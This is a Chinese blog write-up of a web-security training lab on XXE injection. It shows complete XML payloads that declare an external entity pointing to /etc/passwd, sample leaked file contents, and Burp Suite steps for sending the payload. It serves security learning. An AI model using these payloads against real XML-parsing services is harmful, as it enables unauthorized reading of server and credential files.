Lab: Exploiting XXE using external entities to retrieve files:利用外部实体利用 XXE 来检索文件
利用XXE检索文件
要执行从服务器的文件系统中检索任意文件的 XXE 注入攻击,您需要通过两种方式修改提交的 XML:
引入(或编辑)DOCTYPE定义包含文件路径的外部实体的元素。
编辑应用程序响应中返回的 XML 中的数据值,以使用定义的外部实体。
例如,假设购物应用程序通过向服务器提交以下 XML 来检查产品的库存水平:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>
该应用程序没有针对 XXE 攻击执行特定的防御,因此您可以/etc/passwd通过提交以下 XXE 负载来利用 XXE 漏洞来检索文件:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
这个 XXE 负载定义了一个外部实体,&xxe;它的值是/etc/passwd文件的内容,并使用productId值中的实体。这会导致应用程序的响应包含文件的内容:
Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
靶场:
该实验室具有“检查库存”功能,可解析 XML 输入并在响应中返回任何意外值。
为了解决实验室问题,注入一个 XML 外部实体来检索/etc/passwd文件的内容。
操作:
- 访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
- 在 XML 声明和stockCheck元素之间插入以下外部实体定义:
-<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
- 将productId数字替换为对外部实体的引用:&xxe;。响应应包含“无效的产品 ID:”,后跟/etc/passwd文件的内容。
代码如下
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>2</storeId></stockCheck>
本文来自博客园,作者:{Zeker62},转载请注明原文链接:https://www.cnblogs.com/Zeker62/p/15189666.html